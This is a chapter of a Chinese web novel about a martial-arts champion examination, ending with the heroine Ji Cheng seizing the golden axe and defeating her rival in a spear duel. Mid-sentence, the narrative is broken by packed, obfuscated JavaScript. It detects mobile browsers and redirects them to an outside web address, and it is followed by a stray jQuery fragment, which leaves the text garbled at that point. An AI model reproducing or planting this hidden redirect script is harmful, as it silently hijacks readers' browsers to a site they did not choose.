一眨眼秋日已至,这些时日季澄为了专心练武,连姚朱三番四次来贴邀她喝酒她也一一回绝,她不忘挑了个日子去京城的春晖居转悠一圈,那里住满了要来京城比武的游侠和各地推举上来的武妇,大部分她都看不上眼,除了一个萧素娘,她的身形比自己要瘦弱,可她的力气比她要大得多,能轻松单手举起二人合抱的大水缸。
季澄还以为她文采方面要略逊些,可小鱼探见那女人直入八角摘星塔,与塔中的学子对答如流。
她坐不住了,让探子查明萧素娘的来历,得知那人正是昔日蜀王萧氏的嫡亲后裔。萧氏一族早已迁出蜀中,目前散落在秦岭以北的地方。
她默默等待着,文状元殿试,后是武状元的比试,这次的规则大半沿用了先皇定下的:武者需先比过文采策论,比过射箭负重,再在刀枪剑矛匕五种兵器中选一对仗,每个人都要比过五轮,不许取人性命,靠夺得敌方的头发和布料取胜,五人中选出一人,就这么重重筛下去,比了七天几十轮,选出了最后三人——季澄,萧素娘,还有何燧。
擂台就设在天子城楼脚下,百姓们在远处都能看到比武,但因八百禁军围着,觉得视野有碍的人只能挤到摘星塔里去看,那几日塔中状况甚至比文状元殿试前还要热闹得多,官家为了防止人群踩踏也是煞费苦心,又派来一百精兵守在塔的门口,每日只允许进多少人,到了下午,只出不进。
七日后便是最后的擂台夺钺,到那时,擂台中心聚着五座高大的松柏盆景,金钺就藏在某棵树中,树与树之间的缝隙只能容纳一只脚,参赛者只要伸手去取,必然会将后背留在外边,给其余两人留下可乘之机,故结果属实难以预料。
见晖楼的三楼临窗厢房内,桌上正咕嘟咕嘟地煮着热酒,姚三举止优雅地给她们每人盛了半盏。
季澄没喝,她在好好享用一只油光锃亮的烧鸭腿。
对面坐着姚朱,她今日穿的是松石绿的交领襕衫,腰间挂一柄白纸扇,一副斯文秀气的模样。
她伸手将那盅酒移到眼下,轻轻地嗅着酒中的杏子气息。
“你们三人的赌局开得正盛,一半押给了你,一半则押给了萧素娘。”
“押何燧的有多少?”季澄揶揄了一句,两人心照不宣的对视一眼,一齐笑出声来。
何燧是何灵武的二女儿,季澄与这两人均只在市井有过数面之缘,从未开口说过话。
这次比武,季澄轻松击败了许多人,其中也包括何燧,所以她根本不懂为什么何燧能成三甲之一,她怀疑有些人被何灵武收买了,没来参赛。
五年前,母亲从青州回京述职的路上,突然病重,何灵武接替她赶往边关戍守,可北狄那边自得知了越王已离开边境,愈发肆无忌惮,在某个深夜发动袭击,一路势如破竹攻占了青州的重要城池,青州沦陷,最终大周以割让霜州为代价换取十年和平,在这份合约里,大周每一年都要向北狄交银二十万,绢十万。
后来何灵武回京,她的大女儿何勋接替她守在虎骸关。
季澄想起旧事,脸上的笑意渐渐隐去,那份合约已经过去了五年,若是今年北狄出尔反尔发起进攻,不知皇帝又要割让哪几块地。
两个人的酒都冷了,姚三拿了新的酒盏给她们盛好。
“明日如何应付她们两个,你想好了么?”姚朱夹了一块鸭皮往嘴里送,伴着一口杏子酒。
“想好了。”
“我在桃花楼订了金屋,明日过了殿试赐官,直接来。”姚朱对着她爽朗一笑。
季澄低头不语,佯装端详着眼前两个相似的青色酒盏。
姚朱的笑容竟然让她想起了某人,那人的笑靥明灿灿的,见了总觉得甜得发腻,已经离开琼州几个月了,可那股腻味依然粘在她心口,挥之不去。
-
翌日巳时的比武台上,三人安静站在树丛外围,随着礼官敲响铜锣,季澄向后退到台的边缘,接着奋力往前跑,脚尖轻点,她没有选择钻进去,而是赶在她们俩之前从外边跳跃进去,到树丛中心。
萧素娘见季澄先发制人,先给了何燧两拳,何燧流着鼻血跳下了比武台,跌跌撞撞地跑向了礼官。
萧素娘开始围着这几颗树转悠,她像是想到了什么,奋力将眼前的盆景连根拔起,扛在肩头甩了两下,泥土石子断叶纷纷落在了地上,并未瞧见金色的小物件落下来。
众人所见,都长长的惊呼了一声。
季澄很快听见动静,停在了离萧素娘最远
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712626|189294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的树梢上,她居高临下俯视着她,将手中金珠掷向萧素娘身后,可萧素娘并未理睬,举着树冷冷看着季澄的方向,将树如同一柄短戟般投掷出去,于是面前的四棵树都倒了下来,又是一阵呛人的尘土。
惊呼声在人群中此起彼伏地响着。
季澄已经落在了萧素娘的身旁,二人面前是五棵树的残肢断臂,台上简直乱得不成样子,如同被大风摧毁过的林场。
“现在能正面较量了?”萧素娘冷哼一声。
季澄对着她警惕地后退几步,对着礼官的方向举起手里的金钺。“不需要了,我已经找到了。”
“我要你跟我打一场。”萧素娘拾起地上一根树枝,直指季澄心口的方位。
她的脸色在季澄眼里,实在有些过于狠厉阴森了。
“用树枝?不如我们都用上彼此最趁手的兵器?离结束还有一个时辰,足够我们俩比出输赢。”
萧素娘没有片刻犹豫的点头,于是两人都走到了比武台的边缘,唤来自己的随从去拿兵器。
不出季澄所料,萧素娘拿的果然是一杆银枪。
自己让小鱼拿来的是带钩子的通体铁枪,她还没找人试过几招,今日就拿她试一试。
萧素娘的枪法霸道豪放,加之她身怀奇力,几乎每个季澄闪身躲过的那一步,下一瞬方才落脚的那木砖就被她的枪尖捅穿了,但季澄只是拄着铁枪跳来跳去,迫不得已的时候才出手防御,她想要彻底激怒她,逼她出杀招。
终于,萧素娘往后退了一步,她以枪尾立住腾空,向前朝着季澄正面飞踢过来,手中枪尾收回在空中调了个方向,如同追魂棍一般的招式,此刻枪尾已经成了枪头,正要直中季澄面门的时候,季澄不慌不忙使出灵蛇九转,枪尾攻击萧素娘的下庭,枪头的钩子旋转起来,化解了萧素娘枪风中的千钧之力,金器与金器泠泠碰撞,两个握住枪的人都在发颤。
萧素娘大腿吃了一击,此刻只能半跪着,她气得整个人都要烧起来了。
“你好狡诈,用的什么兵器!”
“能赢你就行。”季澄的手都麻了,她冷不防地将铁枪丢下,稍稍转动了手腕便跳下台去,将手中金钺递给礼官,礼官敲响了铜锣,为她披上红衣,宣布她赢。